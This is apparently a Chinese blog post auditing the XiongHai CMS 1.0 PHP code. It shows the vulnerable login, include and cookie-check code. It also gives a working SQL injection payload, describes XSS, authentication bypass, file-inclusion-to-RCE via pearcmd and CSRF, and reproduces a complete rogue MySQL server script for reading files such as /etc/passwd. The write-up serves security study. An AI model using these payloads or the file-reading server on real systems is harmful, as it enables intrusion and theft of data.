熊海1.0cmsPHP代码审计
环境搭建
下载之后直接使用phpstduy搭建就好了
工具使用
比如使用seay审计系统
sql大多数是存在的,但是没有文件上传,这个就是需要自己去验证
漏洞审计
SQL注入
有点多,随便拿一个举例子
就比如我们的登录页面/admin/files/login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit; }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
可以看到是没有过滤我们的输入的,直接拼接进了我们的sql语句
注入点在user
1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
当然还有太多了,都是这个问题
XSS
xss就是要输出到页面上,还是有太多了,没有登录进管理系统的会
有下面几处
/files/contact.php
漏洞位置:files/contact.php 第12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>
可以看到是直接把我们的$pages输出到了页面上
/files/content.php
这里有一个存储型的xss,因为是存在评论功能的,然后也会把我们的评论给输出到页面上
但是我没有成功就使用了其他的
/admin/files/
只要有list的地方,都会展示我们的输入,我只拿一个举例子
比如我们的wzlist
展示文章,我们可以编辑文章,也可以新建文章
然后保存后去展示页面
垂直越权
我们看看后端是怎么验证我是一个admin的
我们随便去一个需要admin登录才可能访问的页面,都发现包含了一个文件…/inc/checklogin.php
我们去看看
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
只是验证了我们的cookie,而且只要cookie不是空的就可以进入
但是有个细节,就是你虽然只要cookie不为空就不会强制你跳转到登录界面,如果要登录成功,还是需要正确的cookie,所以我们这里手动跳转
然后成功登录到后台
文件包含
这个就不说了,太弱智了
index文件入口
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
直接就是包含任意文件了,可以目录穿越的
但是不能使用伪协议是比较可惜的,因为前面files/是多余字符
当然,文件包含很多利用,比如pear问包含,日志文件包含,我们都可以造成rce
不过我们需要知道路径,看y4是这样的
因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/
,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
,这里这个老cms一定是只能5版本所以一定可以
因此构造payload,往/tmp/hello.php写文件即可
之后文件包含成功RCE
mysql任意文件读取
这个是我们刚刚搭建这个系统的时候,我们是需要连接mysql的
这个时候就可以实现任意文件读取的操作
然后去搜索一下mysql任意文件读取的脚本就好了,根据你php的版本去找一下
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }$filename = "/etc/passwd";$srv = stream_socket_server("tcp://0.0.0.0:1237");while (true) {echo "Enter filename to get [$filename] > ";$newFilename = rtrim(fgets(STDIN), "\r\n");if (!empty($newFilename)) {$filename = $newFilename;}echo "[.] Waiting for connection on 0.0.0.0:1237\n";$s = stream_socket_accept($srv, -1, $peer);echo "[+] Connection from $peer - greet... ";fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 756e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 0000 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 0000 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 4447 77 43 2a 43 56 63 72 00 '));fread($s, 8192);echo "auth ok... ";fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));fread($s, 8192);echo "some shit ok... ";fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));fread($s, 8192);echo "want file... ";fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);stream_socket_shutdown($s, STREAM_SHUT_WR);echo "\n";echo "[+] $filename from $peer:\n";$len = fread($s, 4);if(!empty($len)) {list (, $len) = unpack("V", $len);$len &= 0xffffff;while ($len > 0) {$chunk = fread($s, $len);$len -= strlen($chunk);echo $chunk;}}echo "\n\n";fclose($s);
}
这些都是y4实现的,我也没有实现
CSRF漏洞
首先我们可以看到无论是什么操作,后端都是没有进行token验证的,所以如果admin登录了一个账户,我们诱导它去点击我们的链接,就可以实现一些操作,比如删除文章
先抓一个删除文件的包
然后使用bp自带的工具,生成csrf的poc,你可以放在你的官网服务器上,然后只要admin用户点击你的链接,就会删除文章
参考
https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83
6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83
https://xz.aliyun.com/t/10393?time__1311=Cqjx2Qi%3DqYwxlxGgh7Q4ODAOA7DCAeD#toc-4